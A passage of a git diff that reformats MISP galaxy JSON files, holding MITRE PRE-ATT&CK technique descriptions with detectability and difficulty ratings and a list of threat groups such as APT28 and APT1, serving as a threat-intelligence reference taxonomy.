"mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93" + }, + { + "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "value": "Determine highest level tactical element - PRE-T1020", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020" + ], + "external_id": "PRE-T1020", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:target-selection" + ] + }, + "uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.", + "value": "Targeted client-side exploitation - PRE-T1148", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148" + ], + "external_id": "PRE-T1148", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "72923cae-6c8c-4da2-8f48-b73389529c25" + }, + { + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", + "value": "Identify supply chains - PRE-T1042", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042" + ], + "external_id": "PRE-T1042", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "59369f72-3005-4e54-9095-3d00efcece73" + }, + { + "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Skills are common to majority of computer scientists and \"hackers\". Can be easily obtained through contracting if not organic to adversary's organization.", + "value": "Install and configure hardware, network, and systems - PRE-T1113", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113" + ], + "external_id": "PRE-T1113", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424" + }, + { + "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).", + "value": "Host-based hiding techniques - PRE-T1091", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091" + ], + "external_id": "PRE-T1091", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "6f088e84-37b2-44de-8df3-393908f2d77b" + }, + { + "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.", + "value": "Determine physical locations - PRE-T1059", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059" + ], + "external_id": "PRE-T1059", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d" + }, + { + "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Conduct cost/benefit analysis - PRE-T1003", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003" + ], + "external_id": "PRE-T1003", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "51bca707-a806-49bf-91e0-03885b0ac85c" + }, + { + "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Receive KITs/KIQs and determine requirements - PRE-T1016", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016" + ], + "external_id": "PRE-T1016", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-direction" + ] + }, + "uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e" + }, + { + "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.", + "value": "Analyze presence of outsourced capabilities - PRE-T1080", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080" + ], + "external_id": "PRE-T1080", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-weakness-identification" + ] + }, + "uuid": "34450117-d1d5-417c-bb74-4359fc6551ca" + }, + { + "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Create implementation plan - PRE-T1009", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009" + ], + "external_id": "PRE-T1009", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "b355817c-cf63-43b4-94a4-05e9645fa910" + }, + { + "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.", + "value": "Non-traditional or less attributable payment options - PRE-T1093", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093" + ], + "external_id": "PRE-T1093", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d" + }, + { + "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information readily available through searches", + "value": "Aggregate individual's digital footprint - PRE-T1052", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052" + ], + "external_id": "PRE-T1052", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31" + }, + { + "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.", + "value": "Identify sensitive personnel information - PRE-T1051", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051" + ], + "external_id": "PRE-T1051", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.", + "value": "Human performs requested action of physical nature - PRE-T1162", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162" + ], + "external_id": "PRE-T1162", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:compromise" + ] + }, + "uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8" + }, + { + "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.", + "value": "Assess opportunities created by business deals - PRE-T1076", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076" + ], + "external_id": "PRE-T1076", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-weakness-identification" + ] + }, + "uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9" + }, + { + "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.", + "value": "Shadow DNS - PRE-T1117", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117" + ], + "external_id": "PRE-T1117", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a" + }, + { + "description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.", + "value": "Create custom payloads - PRE-T1122", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122" + ], + "external_id": "PRE-T1122", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234" + }, + { + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "value": "Conduct social engineering - PRE-T1045", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045" + ], + "external_id": "PRE-T1045", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "af358cad-eb71-4e91-a752-236edc237dae" + }, + { + "description": "Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.", + "value": "SSL certificate acquisition for domain - PRE-T1114", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114" + ], + "external_id": "PRE-T1114", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc" + }, + { + "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services", + "value": "Test malware to evade detection - PRE-T1136", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136" + ], + "external_id": "PRE-T1136", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2" + }, + { + "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.", + "value": "Build or acquire exploits - PRE-T1126", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126" + ], + "external_id": "PRE-T1126", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.", + "value": "Unauthorized user introduces compromise delivery mechanism - PRE-T1164", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164" + ], + "external_id": "PRE-T1164", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:compromise" + ] + }, + "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413" + }, + { + "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.", + "value": "Common, high volume protocols and software - PRE-T1098", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098" + ], + "external_id": "PRE-T1098", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6" + }, + { + "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.", + "value": "Data Hiding - PRE-T1097", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097" + ], + "external_id": "PRE-T1097", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-pre-attack-intrusion-set.json b/clusters/mitre-pre-attack-intrusion-set.json index 1e8b9f9..8b5b1e0 100644 --- a/clusters/mitre-pre-attack-intrusion-set.json +++ b/clusters/mitre-pre-attack-intrusion-set.json @@ -1,132 +1,141 @@ { - "name": "Pre Attack - intrusion Set", - "type": "mitre-pre-attack-intrusion-set", - "description": "Name of ATT&CK Group", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "1fdc8fa2-1708-11e8-99a3-67b4efc13c4f", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", - "value": "APT16 - G0023", - "meta": { - "synonyms": [ - "APT16" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0023", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" - ] - }, - "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" - }, - { - "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)", - "value": "APT28 - G0007", - "meta": { - "synonyms": [ - "APT28", - "Sednit", - "Sofacy", - "Pawn Storm", - "Fancy Bear", - "STRONTIUM", - "Tsar Team", - "Threat Group-4127", - "TG-4127" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0007", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", - "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" - ] - }, - "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" - }, - { - "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", - "value": "Cleaver - G0003", - "meta": { - "synonyms": [ - "Cleaver", - "TG-2889", - "Threat Group 2889" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0003", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", - "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" - ] - }, - "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063" - }, - { - "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)", - "value": "APT12 - G0005", - "meta": { - "synonyms": [ - "APT12", - "IXESHE", - "DynCalc", - "Numbered Panda", - "DNSCALC" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0005", - "http://www.crowdstrike.com/blog/whois-numbered-panda/" - ] - }, - "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" - }, - { - "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", - "value": "APT1 - G0006", - "meta": { - "synonyms": [ - "APT1", - "Comment Crew", - "Comment Group", - "Comment Panda" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0006", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ] - }, - "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" - }, - { - "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", - "value": "Night Dragon - G0014", - "meta": { - "synonyms": [ - "Night Dragon" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0014", - "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf" - ] - }, - "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" - }, - { - "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", - "value": "APT17 - G0025", - "meta": { - "synonyms": [ - "APT17", - "Deputy Dog" - ], - "refs": [ - "https://attack.mitre.org/wiki/Group/G0025", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ] - }, - "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" - } - ] -} + "name": "Pre Attack - intrusion Set", + "type": "mitre-pre-attack-intrusion-set", + "description": "Name of ATT&CK Group", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "1fdc8fa2-1708-11e8-99a3-67b4efc13c4f", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "value": "APT16 - G0023", + "meta": { + "synonyms": [ + "APT16" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0023", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + ], + "external_id": "G0023" + }, + "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" + }, + { + "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)", + "value": "APT28 - G0007", + "meta": { + "synonyms": [ + "APT28", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0007", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + ], + "external_id": "G0007" + }, + "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" + }, + { + "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "value": "Cleaver - G0003", + "meta": { + "synonyms": [ + "Cleaver", + "TG-2889", + "Threat Group 2889" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0003", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", + "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + ], + "external_id": "G0003" + }, + "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063" + }, + { + "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)", + "value": "APT12 - G0005", + "meta": { + "synonyms": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda", + "DNSCALC" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0005", + "http://www.crowdstrike.com/blog/whois-numbered-panda/" + ], + "external_id": "G0005" + }, + "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" + }, + { + "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "value": "APT1 - G0006", + "meta": { + "synonyms": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "refs": [ + "https://attack.mitre.org/wiki/Group/G0006", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "G0006" + }, + "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" + }, + { + 